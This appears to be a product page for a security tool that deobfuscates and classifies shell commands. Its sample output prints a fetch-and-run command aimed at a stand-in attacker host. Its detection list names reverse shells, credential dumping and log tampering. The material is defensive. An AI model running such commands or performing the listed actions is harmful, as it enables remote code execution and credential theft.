Security / AI

Command behavior analysis engine

Genos scans shell, PowerShell, and scripting commands. It deobfuscates encoded payloads, classifies intent with a CodeBERT gatekeeper, reconstructs attack stage and behavior using a specialist encoder, and returns structured evidence an analyst can act on.

View API

        example scan result
        JSON
      

{
  "label":              "Malicious",
  "label_confidence":   96.4,
  "decision_margin":    81.2,
  "attack_stage":       "Execution",
  "triggered_features": ["has_pipe_to_shell", "has_download"],
  "deobfuscated_cmd":   "curl http://evil.com/shell.sh | bash",
  "behavior": {
    "stage":       "Execution",
    "action_tags": ["download_remote_resource", "pipe_to_shell"]
  },
  "evidence": {
    "urls":             ["http://evil.com/shell.sh"],
    "evidence_summary": "curl remote resource download, inline code execution."
  }
}

How it works

Normalize

Entropy checks, base64 decoding, encoded PowerShell unwrapping, char-construction and concatenation cleanup.

Gatekeeper

CodeBERT model scores Benign / Suspicious / Malicious with confidence and margin tracking.

Behavior encoder

Semantic features plus rule-engine signals infer execution stage, action tags, and MITRE context.

Evidence

IOC rollup, mapping reasons, severity, analyst hints, and decoded payload returned in one response.

What the engine detects

Download-and-execute

Curl or wget piped directly to a shell interpreter, including encoded variants.

Obfuscated payloads

Base64, PowerShell -EncodedCommand, char-code constructions, and high-entropy strings.

Persistence and privilege escalation

Cron additions, SUID bits, sudoers modifications, service and autorun changes.

Credential access

Shadow file reads, credential dump tooling, SSH key enumeration, service account token access.

Lateral movement and tunneling

Reverse shells, SSH port forwarding, chisel, socat, and known post-exploitation tools.

Defense impairment

Firewall flush, audit daemon stops, log truncation, and Defender disablement.

Output fields

label Benign · Suspicious · Malicious

label_confidence Model confidence score for the top verdict (0–100)

attack_stage Execution · Persistence · Credential Access · Exfiltration · Impact · …

triggered_features Named signals that fired during routing (has_pipe_to_shell, has_download, …)

behavior.action_tags Discrete action taxonomy for the command (download_remote_resource, use_obfuscation, …)

evidence IOC rollup, mapping reasons, severity, analyst hint, deobfuscated command

deobfuscated_cmd Plaintext form of the command after all decoding layers are applied